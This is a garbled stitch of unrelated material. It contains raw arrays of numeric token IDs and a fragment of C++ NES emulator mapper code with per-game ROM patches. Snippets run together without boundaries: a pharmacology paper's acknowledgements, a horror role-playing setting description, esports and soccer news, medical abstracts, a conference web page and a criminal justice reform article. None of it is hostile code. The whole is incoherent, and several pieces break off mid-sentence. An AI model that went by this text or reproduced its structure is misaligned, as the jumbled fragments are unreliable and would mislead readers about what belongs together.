68, 13, 470, 89, 20, 70, 13, 470, 89, 1731, 13, 470, 89, 2597, 13, 470, 89, 3245, 13, 470, 89, 1012, 13, 470, 89, 361, 7734, 11459, 186, 2309, 186, 28259, 64, 53, 19395, 64, 20356, 15830, 10936, 64, 4663, 9234, 708, 470, 89, 18, 39, 2194, 7951, 186, 94, 2379, 186, 94, 2010, 604, 9, 4632, 64, 20559, 2295, 374, 2387, 551, 7951, 186, 605, 29151, 2058, 1792, 416, 6159, 27141, 9044, 7951, 186, 338, 9, 26181, 2295, 470, 89, 22, 38, 361, 2387, 551, 11459, 186, 10936, 64, 4663, 426, 470, 28, 11459, 186, 2309, 186, 17, 89, 361, 28, 7951, 186, 94, 2010, 604, 9, 26181, 2295, 470, 89, 22, 38, 520, 2387, 551, 11459, 186, 338, 9, 4632, 64, 4663, 3424, 2295, 898, 2387, 17158, 186, 2309, 186, 17, 89, 23, 39, 28, 11459, 186, 7271, 17158, 186, 2309, 186, 17, 39747, 21, 28, 7951, 186, 94, 2379, 186, 94, 2010, 604, 9, 4632, 64, 20559, 2295, 495, 2387, 551, 7951, 186, 605, 29151, 6053, 1594, 1173, 784, 7951, 186, 16065, 9, 26181, 2387, 551, 11459, 186, 5045, 186, 17, 89, 3439, 3269, 27, 17158, 186, 2309, 186, 17, 89, 1762, 28, 11459, 186, 5045, 186, 17, 89, 22, 25025, 27, 17158, 186, 338, 9, 4632, 64, 4663, 2387, 28778, 186, 2309, 186, 17, 89, 361, 28, 17158, 186, 7271, 28778, 186, 2309, 186, 17, 89, 520, 28, 17158, 186, 7054, 28, 11459, 186, 5045, 186, 17, 89, 36554, 71, 27, 17158, 186, 338, 9, 4632, 64, 4663, 2387, 28778, 186, 2309, 186, 17, 40220, 18, 28, 17158, 186, 7271, 28778, 186, 2309, 186, 17, 89, 2511, 28, 17158, 186, 7054, 28, 11459, 186, 5045, 186, 17, 89, 2417, 2251, 27, 17158, 186, 338, 9, 4632, 64, 4663, 2387, 551, 28778, 186, 10936, 64, 4663, 426, 470, 28, 28778, 186, 2309, 186, 17, 89, 20, 38, 28, 17158, 186, 94, 2010, 551, 28778, 186, 10936, 64, 4663, 426, 337, 28, 28778, 186, 2309, 186, 17, 89, 1787, 28, 17158, 186, 94, 17158, 186, 7054, 28, 11459, 186, 6986, 27, 17158, 186, 7054, 28, 7951, 186, 94, 2379, 186, 94, 15971, 186, 2309, 186, 37479, 1450, 5703, 20357, 9, 26181, 5349, 190, 187, 94, 4888, 187, 4353, 186, 37479, 5525, 1450, 10639, 20357, 9, 411, 8242, 26181, 13, 9149, 5428, 941, 2387, 190, 187, 92, 15971, 186, 18828, 7310, 1587, 12236, 23869, 2125, 57, 5128, 23869, 2640, 57, 61, 79, 995, 26181, 7, 17, 89, 15651, 13, 941, 7, 17, 30962, 5349, 15971, 186, 605, 35794, 436, 1060, 5997, 49544, 714, 328, 281, 21090, 327, 7491, 15, 2379, 186, 605, 338, 9, 9834, 381, 17, 89, 28306, 10, 611, 53, 64, 17703, 426, 941, 475, 470, 89, 740, 28, 186, 605, 1542, 611, 53, 18526, 3958, 15971, 186, 338, 9, 409, 64, 881, 2295, 337, 910, 7951, 186, 338, 9, 26181, 10122, 470, 89, 1449, 938, 3857, 26181, 11049, 470, 89, 24, 45231, 2387, 551, 11459, 186, 13980, 426, 941, 708, 495, 28, 11459, 186, 338, 313, 13980, 2295, 337, 910, 17158, 186, 13980, 426, 374, 28, 11459, 186, 94, 7951, 186, 94, 2379, 186, 94, 2010, 604, 9, 26181, 10122, 470, 89, 28306, 3857, 26181, 11049, 470, 89, 22, 45231, 2387, 551, 7951, 186, 31576, 2300, 60, 9834, 14, 17, 89, 25851, 62, 426, 941, 28, 2379, 186, 94, 2010, 551, 7951, 186, 37479, 1450, 10639, 20357, 9, 26181, 13, 941, 5349, 2379, 186, 94, 190, 187, 94, 4888, 187, 4353, 186, 37479, 5525, 1450, 10639, 9, 411, 8242, 26181, 13, 9149, 5428, 941, 2387, 190, 187, 92, 2379, 186, 18828, 7310, 9, 346, 46, 3175, 10690, 329, 23869, 2125, 57, 399, 23869, 2640, 57, 418, 23869, 20, 69, 36571, 36, 23869, 69, 61, 79, 995, 26181, 7, 17, 89, 15651, 13, 941, 7, 17, 30962, 13, 295, 265, 1168, 3633, 31588, 1282, 5715, 295 ]	// Tom & Jerry (and Tuffy)(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0xaafe699c ) { // Ninja Ryukenden 3 - Yomi no Hakobune(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x6cc62c06 ) { // Hoshi no Kirby - Yume no Izumi no Monogatari(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x877dba77 ) { // My Life My Love - Boku no Yume - Watashi no Negai(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0x6f96ed15 ) { // Max Warrior - Wakusei Kaigenrei(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0x8685f366 ) { // Matendouji(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x8635fed1 ) { // Mickey Mouse 3 - Yume Fuusen(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x26ff3ea2 ) { // Yume Penguin Monogatari(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0x7671bc51 ) { // Red Ariimaa 2(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0xade11141 ) { // Wanpaku Kokkun no Gourmet World(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0x7c7ab58e ) { // Walkuere no Bouken - Toki no Kagi Densetsu(J) nes->SetRenderMethod( NES::POST_RENDER ); } if( crc == 0x26ff3ea2 ) { // Yume Penguin Monogatari(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x126ea4a0 ) { // Summer Carnival '92 Recca(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x1d2e5018 // Rockman 3(J) \|\| crc == 0x6b999aaf ) { // Megaman 3(U) irq_type = MMC3_IRQ_ROCKMAN3; } if( crc == 0xd88d48d7 ) { // Kick Master(U) irq_type = MMC3_IRQ_ROCKMAN3; } if( crc == 0xA67EA466 ) { // Alien 3(U) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0xe763891b ) { // DBZ2 irq_type = MMC3_IRQ_DBZ2; } // VS-Unisystem vs_patch = 0; vs_index = 0; if( crc == 0xeb2dba63 // VS TKO Boxing \|\| crc == 0x98cfe016 ) { // VS TKO Boxing (Alt) vs_patch = 1; } if( crc == 0x135adf7c ) { // VS Atari RBI Baseball vs_patch = 2; } if( crc == 0xf9d3b0a3 // VS Super Xevious \|\| crc == 0x9924980a // VS Super Xevious (b1) \|\| crc == 0x66bb838f ) { // VS Super Xevious (b2) vs_patch = 3; } } //static uint8 lut[8] = { 0x00, 0x00, 0x00, 0x01, 0x02, 0x04, 0x0F, 0x00 }; BYTE Mapper004::ReadLow( WORD addr ) { if(!vs_patch ) { // if((addr>=5000)&&(addr<=5007)) return lut[addr&7]; if(rom_type == 1){ if( addr >= 0x4020 && addr <= 0x7FFF ) { return security; } } else if( addr >= 0x5000 && addr <= 0x5FFF ) { return XRAM[addr-0x4000]; } } else if( vs_patch == 1 ) { // VS TKO Boxing Security if( addr == 0x5E00 ) { vs_index = 0; return 0x00; } else if( addr == 0x5E01 ) { BYTE VS_TKO_Security[32] = { 0xff, 0xbf, 0xb7, 0x97, 0x97, 0x17, 0x57, 0x4f, 0x6f, 0x6b, 0xeb, 0xa9, 0xb1, 0x90, 0x94, 0x14, 0x56, 0x4e, 0x6f, 0x6b, 0xeb, 0xa9, 0xb1, 0x90, 0xd4, 0x5c, 0x3e, 0x26, 0x87, 0x83, 0x13, 0x00 }; return VS_TKO_Security[(vs_index++) & 0x1F]; } } else if( vs_patch == 2 ) { // VS Atari RBI Baseball Security if( addr == 0x5E00 ) { vs_index = 0; return 0x00; } else if( addr == 0x5E01 ) { if( vs_index++ == 9 ) return 0x6F; else return 0xB4; } } else if( vs_patch == 3 ) { // VS Super Xevious switch( addr ) { case 0x54FF: return 0x05; case 0x5678: if( vs_index ) return 0x00; else return 0x01; break; case 0x578f: if( vs_index ) return 0xD1; else return 0x89; break; case 0x5567: if( vs_index ) { vs_index = 0; return 0x3E; } else { vs_index = 1; return 0x37; } break; default: break; } } return Mapper::ReadLow( addr ); } void Mapper004::WriteLow( WORD addr, BYTE data ) { DEBUGOUT("Address=%04X Data=%02X\n", addr&0xFFFF, data&0xFF ); // Adding this here causes Feng Yun to freeze on boot. //if(addr==0x5000) KT_bank = data * 0x10; //for KT CN games if(rom_type == 1){ if( addr >= 0x4020 && addr <= 0x7FFF ) { security = data & 3; if (security == 1){ security = 2; } } } else if( addr >= 0x5000 && addr <= 0x5FFF ) { XRAM[addr-0x4000] = data; } else { Mapper::WriteLow( addr, data ); } } void Mapper004::Write( WORD addr, BYTE data ) { DEBUGOUT( "MPRWR A=%04X D=%02X L=%3d CYC=%d\n", addr&0xFFFF, data&0xFF, nes->GetScanline(), n
[ 904, 322, 15, 46, 904, 285, 401, 15, 43, 15, 187, 187, 14044, 37693, 273, 9535, 1712, 1704, 23, 94, 187, 18613, 187, 187, 34, 15, 52, 904, 322, 15, 46, 904, 353, 15, 41, 904, 308, 15, 53, 904, 416, 15, 44, 15, 285, 401, 15, 43, 15, 403, 16, 12796, 6171, 273, 5466, 25523, 18033, 33367, 708, 2434, 15, 611, 40, 313, 23092, 48915, 13, 6176, 481, 380, 1551, 273, 253, 4477, 11165, 642, 11771, 6284, 15, 187, 187, 38338, 8339, 1712, 1212, 1704, 19, 94, 187, 15489, 187, 187, 14500, 7335, 15, 27476, 322, 18, 285, 322, 19, 13, 5270, 322, 18, 13, 285, 41749, 13277, 14500, 322, 19, 15, 14108, 5043, 41749, 8339, 187, 187, 1552, 789, 369, 4516, 407, 346, 1845, 32374, 85, 1206, 1392, 1063, 6912, 1808, 3, 313, 35, 4071, 261, 2706, 401, 34267, 25190, 14996, 78, 346, 23270, 14, 3807, 443, 13589, 1451, 29588, 3, 313, 24444, 39253, 558, 4098, 46789, 59, 378, 6527, 14, 1010, 1762, 14, 15017, 481, 844, 5717, 4716, 1063, 48855, 313, 9709, 6121, 13, 6176, 10, 323, 26604, 5277, 441, 342, 253, 36225, 1341, 13002, 247, 6521, 21575, 26, 14100, 14, 3721, 35, 30960, 12726, 18242, 15, 844, 671, 5717, 22707, 388, 2388, 88, 22369, 285, 4200, 11825, 13675, 620, 323, 7126, 7681, 1329, 15, 187, 187, 38338, 8339, 476, 320, 1119, 3909, 387, 654, 3614, 1358, 14369, 15, 2061, 16, 740, 15, 37524, 16, 75, 15, 297, 14543, 15, 9638, 15, 2125, 15, 12058, 13208, 187, 187, 5180, 18, 5218, 3315, 7025, 403, 1416, 273, 7412, 48, 13, 7959, 4865, 3425, 13, 1899, 327, 7959, 13, 7412, 48, 2978, 347, 973, 347, 7412, 48, 3425, 285, 11237, 27, 418, 1322, 47251, 285, 16, 263, 43734, 837, 900, 366, 313, 3458, 481, 8801, 14, 6160, 7412, 17174, 313, 41, 10, 347, 973, 347, 2831, 14, 31708, 7412, 17174, 12262, 1097, 13, 1966, 285, 24599, 475, 47, 5077, 18, 11, 313, 25695, 582, 497, 4236, 15, 187, 25046, 4126, 273, 253, 24909, 27, 187, 23375, 4267, 187, 187, 36, 394, 335, 11917, 5887, 2013, 316, 8464, 187, 187, 44, 723, 631, 187, 187, 16395, 456, 327, 253, 14070, 16838, 247, 1643, 6574, 6146, 273, 45354, 13, 20567, 631, 310, 816, 247, 1652, 625, 685, 1264, 6574, 32253, 273, 17207, 14012, 3964, 15, 187, 187, 510, 2846, 310, 15178, 1070, 275, 247, 11636, 14, 13824, 9454, 326, 2349, 343, 5005, 20567, 631, 28670, 15, 1916, 253, 6146, 22844, 247, 2962, 273, 33848, 44122, 326, 27798, 366, 275, 253, 45639, 3184, 27574, 273, 20567, 631, 12318, 15, 1916, 253, 8935, 285, 6420, 403, 247, 1180, 273, 19607, 15, 380, 6253, 13, 1925, 8170, 7061, 13, 310, 253, 8184, 273, 20567, 631, 457, 84, 1711, 33163, 272, 3216, 15, 3771, 689, 247, 13915, 562, 281, 6150, 8696, 253, 8911, 1720, 832, 13, 4907, 846, 253, 16824, 8451, 432, 534, 1142, 20567, 33187, 10711, 616, 38408, 15, 831, 8312, 43544, 24696, 20567, 631, 457, 84, 40661, 432, 253, 25205, 14847, 10212, 15, 187, 187, 510, 10198, 273, 20567, 631, 403, 6891, 285, 25072, 13, 37871, 16624, 314, 949, 253, 19607, 281, 830, 247, 5188, 44960, 273, 9130, 2223, 2834, 281, 24171, 15, 388, 15011, 403, 24982, 387, 512, 2308, 285, 14636, 13, 1308, 382, 1981, 327, 253, 19607, 1487, 285, 12868, 253, 7423, 5811, 15, 43275, 9195, 285, 9910, 403, 16088, 1711, 13, 3782, 275, 253, 21520, 273, 8170, 7061, 285, 2112, 253, 6146, 16838, 273, 253, 22754, 15, 6676, 3522, 896, 281, 253, 4260, 14, 339, 2254, 14860, 5331, 15, 31742, 45, 3288, 452, 4425, 281, 17049, 14532, 891, 14, 43174, 17595, 262, 1050, 13, 347, 597, 5082, 626, 452, 2217, 673, 281, 16270, 48175, 281, 253, 1982, 323, 444, 1843, 2696, 6028, 604, 597, 11612, 253, 27485, 2362, 15, 187, 187, 1909, 253, 20721, 273, 253, 5628, 4426, 5425, 323, 14532, 891, 14, 43174, 17595, 262, 1050, 13, 534, 310, 873, 281, 1379, 1659, 432, 2552, 655, 14, 1423, 13, 308, 43621, 4985, 497, 6326, 281, 4288, 281, 611, 28017, 275, 767, 3618, 281, 1379, 629, 275, 253, 370, 2313, 13, 933, 4314, 14, 22035, 14811, 15, 187, 187, 6436, 13, 347, 14532, 891, 14, 43174, 17595, 262, 1050, 310, 2810, 281, 253, 1265, 273, 444, 1843, 2696, 6028, 434, 5901, 378, 313, 453, 39643, 253, 5628, 13, 15753, 49, 13, 443, 19, 285, 12605, 53, 280, 582, 308, 43621, 4985, 5082, 626, 452, 2217, 673, 281, 4044, 48175, 281, 253, 1982, 604, 597, 497, 281, 8041, 253, 27485, 2362, 15, 187, 187, 31742, 45, 3288, 18384, 598, 323, 616, 3761, 342, 418, 6059, 11108, 187, 187, 31742, 45, 3288, 4425, 281, 10687, 432, 14532, 891, 14, 43174, 17595, 262, 1050, 187, 187, 55, 40, 15, 25385, 589, 59, 257, 497, 806, 275, 1386, 281, 8171, 731, 347, 253, 1273, 14, 26248, 2285, 273, 253, 4426, 5425, 13, 533, 597, 13072, 253, 21558, 13, 534, 2097, 253, 6308, 2427, 281, 28810, 4683, 8726, 313, 10002, 4845, 2626, 10, 3185, 15, 187, 187, 510, 2285, 1618, 323, 14532, 891, 14, 43174, 17595, 262, 1050, 310, 1563, 27, 187, 187, 7084, 891, 14, 43174, 17595, 262, 1050, 13, 534, 588, 452, 370, 2313, 13, 933, 327, 253, 1386, 13, 588, 1379, 1659, 275, 611, 28017, 13, 17111, 432, 2552, 655, 14, 1423, 15, 60, 47, 2244, 272, 7211, 1570, 187, 34, 303, 272, 387, 690, 38255, 275, 15929, 7211, 13, 253, 4477, 1804, 247, 1643, 22429, 327, 849, 281, 3630, 731, 15, 831, 38255, 651, 1361, 15929, 3484, 7635, 529, 483, 253, 2644, 15929, 2086, 15, 26954, 985, 10498, 27241, 187, 187, 26954, 310, 253, 2022, 629, 273, 9921, 10620, 342, 7915, 20619, 390, 43280, 272, 285, 9360, 273, 253, 28367, 285, 6551, 15, 28367, 310, 271, 1774, 27602, 1963, 326, 29131, 2614, 281, 253, 2133, 3066, 9682, 2473, 985, 15, 45124, 326, 403, 908, 281, 1555, 512, 253, 9360, 275, 2133, 452, 247, 1270, 3486, 327, 2798, 8479, 2710, 10021, 2538, 15, 3813, 13, 1083, 5012, 327, 6578, 285, 10177, 5263, 452, 247, 1270, 8453, 285, 1361, 275, 2440, 285, 26441, 273, 1971, 8130, 15, 657, 5670, 8059, 390, 2581, 512, 27691, 273, 5900, 1497, 1361, 275, 23245, 13, 378, 14, 19, 14, 35, 7832, 272, 875, 8371, 6433, 285, 12440, 15, 187, 187, 29594, 441, 387, 187, 187, 1785, 34274, 323, 368, 187, 187, 21056, 187, 187, 2402, 187, 187, 17835, 187, 187, 10504, 187, 187, 7474, 187, 187, 17745, 13420, 187, 187, 6067, 8404, 3327, 566, 187, 187, 14897, 1320, 11981, 187, 187, 3463, 41863, 323, 253, 8059, 368, 4098, 9214, 281, 24295, 316, 5901, 281, 10440, 13, 3085, 390, 1924, 285, 897, 634, 1416, 13, 2078, 8098, 13, 2460, 13, 4318, 285, 5701, 285, 281, 15452, 13, 18302, 13, 10738, 13, 16969, 13, 10675, 13, 12921, 285, 16, 263, 6670, 907, 253, 4795, 3888, 285, 4753, 275, 16516, 13, 12089, 4753, 13, 390, 275, 667, 643, 830, 11762, 1293, 10963, 15, 21525, 273, 15928, 285, 16, 263, 45917, 15609, 1309, 667, 6874, 310, 19772, 15, 22373, 441, 323, 667, 19241, 15, 52, 1539, 20152, 2354, 13, 34280, 15, 1108, 5003, 7924, 7565, 371, 1582, 26762, 29271, 44950, 723, 13368, 247, 5547, 5869, 281, 8706, 247, 1029, 14, 1164, 282, 653, 1949, 285, 47779, 5713, 3627, 327, 8216, 4131, 15, 380, 1791, 4975, 369, 12321, 275, 271, 7343, 387, 1728, 285, 588, 2779, 1978, 253, 9251, 14990, 757, 26762, 562, 273, 2250, 323, 577, 14, 23, 2607, 15, 187, 187, 510, 5199, 369, 2684, 407, 3196, 15, 7727, 25498, 282, 285, 3196, 15, 26876, 24010, 387, 322, 12216, 4775, 275, 15939, 9182, 15, 187, 187, 36, 20440, 723, 13, 2030, 13, 6704, 342, 253, 7565, 371, 1582, 327, 3344, 15, 818, 13, 4240, 15, 754, 556, 2456, 5249, 18655, 323, 253, 37783, 3313, 2285, 15, 380, 37783, 3228, 7925, 556, 2568, 281, 4735, 275, 247, 3761, 436, 2952, 1955, 281, 42346, 9001, 617, 15298, 5869, 15, 1147, 310, 253, 4388, 273, 253, 1263, 281, 448, 974, 254, 907, 2007, 253, 1846, 4901, 13385, 451, 11611, 285, 697, 1794, 9522, 8453, 13, 3782, 342, 2743, 281, 697, 1896, 897, 347, 271, 2984, 2646, 323, 6055, 1411, 5066, 407, 29975, 14, 12373, 9574, 9628, 253, 11611, 15, 380, 6380, 1453, 273, 6582, 3275, 285, 253, 2984, 39873, 273, 253, 6582, 14, 28916, 8709, 588, 320, 5421, 2007, 970, 7418, 15396, 15, 380, 45169, 2538, 273, 5541, 44289, 35679, 7011, 432, 6582, 14, 9603, 285, 6582, 14, 615, 738, 422, 15396, 588, 320, 2429, 15, 380, 16294, 2538, 273, 6658, 432, 2710, 5893, 3417, 327, 14170, 273, 5541, 44289, 35679, 281, 21564, 287, 291, 265, 588, 320, 5867, 15, 36999, 33145, 342, 4236, 2984, 7736, 8709, 285, 15396, 273, 4901, 13385, 74, 20448, 588, 320, 4824, 562, 275, 253, 17876, 13, 285, 253, 6658, 285, 1980, 7026, 2380, 4080, 407, 7492, 356, 23897, 1515, 13, 11686, 10601, 5853, 13, 285, 9480, 26611, 15, 510, 1986, 2077, 25793, 684, 697, 7815, 387, 247, 2169, 2281, 685, 667, 643, 2586, 275, 253, 1533, 13, 533, 689, 253, 2469, 1643, 1107, 13, 627, 457, 84, 4720, 644, 690, 4780, 15, 44726, 273, 38886, 452, 4720, 13207, 281, 10343, 13, 6571, 1955, 281, 28110, 2544, 1160, 275, 13439, 3054, 751, 5002, 13, 1457, 8911, 13, 285, 1457, 2816, 15, 4794, 281, 367, 999, 3976, 7116, 10215, 84, 13, 6782, 38886, 556, 13072, 2145, 2558, 1580, 697, 5241, 275, 5215, 13, 432, 337, 275, 2233, 281, 337, 275, 11343, 15, 4683, 2282, 13, 436, 4780, 310, 13699, 407, 10053, 3778, 285, 521, 5286, 27, 380, 4007, 556, 417, 760, 12316, 281, 9838, 3409, 247, 1048, 14, 483, 14151, 2746, 281, 6424, 8426, 13, 344, 457, 84, 671, 1160, 9069, 35015, 13, 665, 6556, 12014, 47160, 456, 6849, 13, 521, 6834, 2087, 15, 380, 767, 273, 731, 403, 13828, 247, 4836, 3490, 281, 1263, 12338, 6617, 1128, 5747, 253, 958, 326, 352, 457, 84, 2168, 387, 14464, 1698, 84, 1128, 395, 403, 26400, 281, 2770, 5300, 327, 2854, 7281, 1241, 285, 2854, 897, 15, 1583, 1646, 3413, 281, 1091, 253, 4400, 2208, 281, 253, 10458, 14, 251, 14, 44460, 8685, 273, 253, 9178, 84, 285, 7901, 84, 13, 253, 4898, 273, 253, 2137, 327, 5835, 15, 187, 187, 1989, 6424, 8426, 8460, 310, 1335, 37655, 3579, 1128, 395, 253, 10254, 310, 8127, 3551, 432, 28963, 13, 2444, 275, 616, 1375, 13001, 15, 380, 11518, 1083, 323, 8460, 310, 4755, 27, 2101, 1946, 25866, 273, 8918, 327, 5754, 7466, 285, 24585, 14683, 310, 36761, 285, 18860, 15, 1244, 253, 1375, 1268, 310, 835, 8460, 588, 320, 253, 954, 3576, 1128, 783, 5020, 273, 952, 403, 44099, 275, 1375, 2718, 15, 4410, 32578, 326, 1180, 7729, 3054, 6654, 616, 35905, 13, 753, 21536, 410, 13051, 13, 4007, 273, 20958, 323, 18731, 285, 8293, 13, 247, 6424, 8426, 8460, 6003, 326, 12127, 327, 6617, 10349, 15, 773, 22262, 2107, 7563, 3237, 1599, 326, 10159, 273, 665, 457, 84, 275, 253, 5219, 3995, 13, 544, 50055, 8426, 62, 310, 1469, 281, 4035, 281, 320, 247, 33567, 2523, 323, 8460, 1425, 187, 187, 3848, 18415, 19544, 13, 19041, 6423, 273, 10154, 327, 23325, 13, 247, 11518, 1387, 7106, 327, 6424, 8426, 8460, 13, 32457, 436, 21942, 27, 773, 3404, 253, 1375, 1268, 13, 8839, 2717, 556, 4391, 15, 1310, 2712, 13, 544, 250, 630, 556, 62, 5055, 598, 15401, 247, 1652, 1425, 187, 187, 3404, 253, 1375, 5967, 275, 16916, 13, 6112, 13, 19544, 285, 521, 11518, 20706, 13, 3977, 407, 253, 6112, 5259, 11981, 6807, 13, 310, 43243, 323, 5593, 326, 588, 4796, 38886, 4142, 15, 2596, 6007, 597, 457, 69, 751, 281, 1509, 651, 823, 625, 19993, 4999, 36259, 281, 253, 4936, 4984, 1232, 15, 8035, 651, 294, 2437, 1419, 2176, 2854, 11664, 19844, 347, 6550, 329, 34945, 15719, 641, 1128, 30407, 690, 1698, 14, 5251, 2854, 33815, 651, 4763, 19077, 2581, 685, 12907, 673, 15, 329, 2626, 2557, 651, 7164, 253, 2363, 273, 6424, 8294, 432, 1722, 281, 1283, 13, 534, 651, 1581, 1722, 14, 2913, 14, 3502, 281, 5752, 616, 673, 275, 20962, 9189, 2581, 685, 342, 7747, 15, 187, 187, 36179, 310, 581, 273, 2067, 2502, 3054, 13, 2112, 342, 12096, 13, 18370, 13, 18531, 13, 17360, 13, 285, 3684, 9756, 13, 326, 556, 8671, 247, 2491, 273, 13439, 21823, 275, 253, 2469, 9976, 15, 6112, 457 ]	., S.M., and F.J. Conflicts of Interest {#sec6} ===================== A.S., S.M., M.H., T.T., R.K. and F.J. are/were employees of Secarna Pharmaceuticals & Co. KG (Planegg, Germany). The rest of the authors declare no competing interests. Supplemental Information {#appsec2} ======================== Document Sl. Figures S1 and S2, Table S1, and Supplemental MethodsDocument S2. Article plus Supplemental Information This work was supported by "Projektträger Bayern" (Bayerisches Forschungsprogramm "Bio- und Gentechnologie" (BayBIO); grant FKZ BIO-1505-0004). We thank Holger Garn (Marburg, Germany) for kindly providing us with the HEK cells expressing a mouse TLR9 NF-кB luciferase reporter plasmid. We also thank Lisa Hinterwimmer and Monika Schell for excellent technical support. Supplemental Information can be found online at <https://doi.org/10.1016/j.omtn.2019.04.018>. [^1]: Depicted are name of ASO, mRNA binding sequence, position on mRNA, ASO length as well as ASO sequence and modification: LNA (+) and/or phosphorothioate (\). Human-specific ASOs (H) as well as cross-reactive ASOs targeting both, human and murine NPC1* (HM), were selected. Campaign of the Month: November 2010 Cthulhu Supremus Est Kingsport Located on the Massachusetts shore a few miles north of Salem, Kingsport is just a little more than three miles southeast of downtown Arkham. The city is nestled in a bowl-shaped depression that encircles Kingsport Harbor. To the north rises a series of rocky cliffs that culminate in the dizzying heights of Kingsport Head. To the west and south are a number of hills. The largest, called Central Hill, is the sight of Kingsport’s old burying ground. Just over a mile out to sea lies the Jersey Reef, named after the Channel Island from which many Kingsporters trace their ancestry. This dangerous reef protects Kingsport’s shores from the devastating Atlantic waves. The streets of Kingsport are narrow and winding, twisting steeply through the hills to form a labyrinth of pathways often difficult to navigate. Houses are stacked at all levels and angles, bristling on the hillsides and filling the hallows. Numerous buildings and houses are incredibly old, particularly in the vicinity of Central Hill and along the north shore of the harbor. Many date back to the mid-seventeenth century.TyLoo have decided to skip SL i-League Invitational, as they wouldn't have enough time to acquire visas to the US for ELEAGUE if they attended the Ukrainian event. As the winners of the Chinese qualifier for SL i-League Invitational, which is set to take place from May 19-22, TYLOO were supposed to travel to Kiev in two weeks to take part in the $100,000 eight-team tournament. However, as SL i-League Invitational is close to the start of ELEAGUE's Group B (featuring the Chinese, NiP, G2 and OpTic), TYLOO wouldn't have enough time to obtain visas to the US if they were to attend the Ukrainian event. TyLoo warming up for their match with Luminosity TyLoo decided to withdraw from SL i-League Invitational VG.CyberZen were first in line to replace them as the second-placed team of the qualifier, but they declined the invitation, which means the spot went to Born Of Fire (who placed third) instead. The team list for SL i-League Invitational is following: SL i-League Invitational, which will have $100,000 on the line, will take place in Kiev, Ukraine from May 19-22.[Nursing notes]. Aiming at some uniformity in nursing notes, the authors suggest a few norms on how to write them. This uniformity would help nursing students througout the whole nursing program.vascular system Case Reports vascular is the main part of medicine dealing with dysfunctions or malfunctioning and disorders of the valves and neuro. valves is an important muscular organ that pumps blood to the body via circulatory system. Drugs that are used to treat all the disorders in body have a great impact on heart causing various adverse effects. Therefore, case reports on diseases and cardiac arrest have a great significance and help in development and advancing of treatment strategies. Vascular conference or rather all conferences of cardiology help in networking, B-2-B partnering between academicians and professionals. Mail us at Recommended for you Contact Name Email Phone Message Captcha Our Social Presence Authorization Policy By registering for the conference you grant permission to pulsus Group to photograph, film or record and use your name, likeness, image, voice and comments and to publish, reproduce, exhibit, distribute, broadcast, edit and/or digitize the resulting images and materials in publications, advertising materials, or in any other form worldwide without compensation. Taking of photographs and/or videotaping during any session is prohibited. Contact us for any queries.SAN JOSE, Calif. – San Jose Earthquakes defender Harold Cummings underwent a successful surgery to repair a high-ankle sprain and fractured fibula on Thursday morning. The leg injury was sustained in an accident at home and will likely keep the Panamanian defender out of action for 4-6 months. The procedure was performed by Dr. Richard Gayle and Dr. Nicholas Todd at Sutter Health in Mountain View. Cummings, 25, signed with the Earthquakes on Jan. 7, 2017. He has 50 career appearances for the Panama National team. The Panama City native has yet to feature in a match this season due to offseason sports hernia surgery.It is the aim of the study to chracterize further the common enterobacterial antigen and its biologic significance, particularly with regard to its possible use as an immunogen for protection against infection by gram-negative bacteria sharing the antigen. The genetic control of CA production and the immunogenicity of the CA-producing strains will be studied further using numerous mutants. The immunosuppressive effects of lipopolysaccharides isolated from CA- producing and CA-defective mutants will be compared. The inhibitory effects of serum from various animal species on attachment of lipopolysaccharides to erythroctes will be analyzed. Oral immunization with selected immunogenic strains and mutants of enterobacteriaceae will be carried out in the rabbit, and the serum and local immune response measured by hemagglutination, indirect FA technique, and gel precipitation.The United States incarcerates its citizens at a higher rate than any other country in the world, but over the past few years, there’s finally been some progress. Rates of incarceration have finally begun to decline, mostly due to sweeping changes made in progressive states like California, New Jersey, and New York. According to Pew Charitable Trusts, adult incarceration has declined 13 percent since its peak in 2007, from 1 in 100 to 1 in 115. Of course, this progress is threatened by Donald Trump and his administration: The president has not only promised to reinstate a long-outdated approach to criminal justice, he’s also made Jeff Sessions, who holds similarly antiquated views, his attorney general. The two of them are preparing a task force to study violent crime— despite the fact that it’s already at historic lows—and are aiming to focus resources on drug cartels and drug use. They seem determined to return the federal government to the tough-on-crime era of the 1980s and 1990s, the height of the war on drugs. But criminal justice reform is still marching forward—and the momentum is largely coming from conservatives, working in their state governments. The conservative case for reform is obvious: Spending billions of dollars on prison expansion and lengthy sentences is outdated and ineffective. And the state level is where reform will be the most effective—the majority of people are incarcerated in state systems. Reducing that number helps states balance their budgets, said Lenore Anderson, president of Alliance for Safety and Justice, a criminal justice reform organization that centers on crime victims. “Continued budget problems mean that regardless of who’s in the White House, [criminal justice] is going to continue to be a ripe issue for reform.” Derek Cohen, deputy director of Right on Crime, a conservative group focused on criminal justice reform, echoed this sentiment: “At the state level, absolutely nothing has changed. If anything, [reform has] picked up steam a little.” At the statehouse in Austin, Texas, Cohen and his conservative coalition, led by the Texas Public Policy Foundation, is advocating for measures that will reduce incarceration rates. One bill they’d like to pass would add more procedural safeguards to the grand jury process. Another would reclassify certain drug felonies as Class A misdemeanors—meaning some low-level drug offenders would receive probation rather than jail time. A third measure would raise the age of criminal responsibility from 17 to 18, which would allow 17-year-olds to serve their time in juvenile facilities rather than with adults. Texas is one of several red states, along with Georgia, Kentucky, Mississippi, Oklahoma, and South Carolina, that has adopted a range of progressive initiatives in the past decade. Texas’
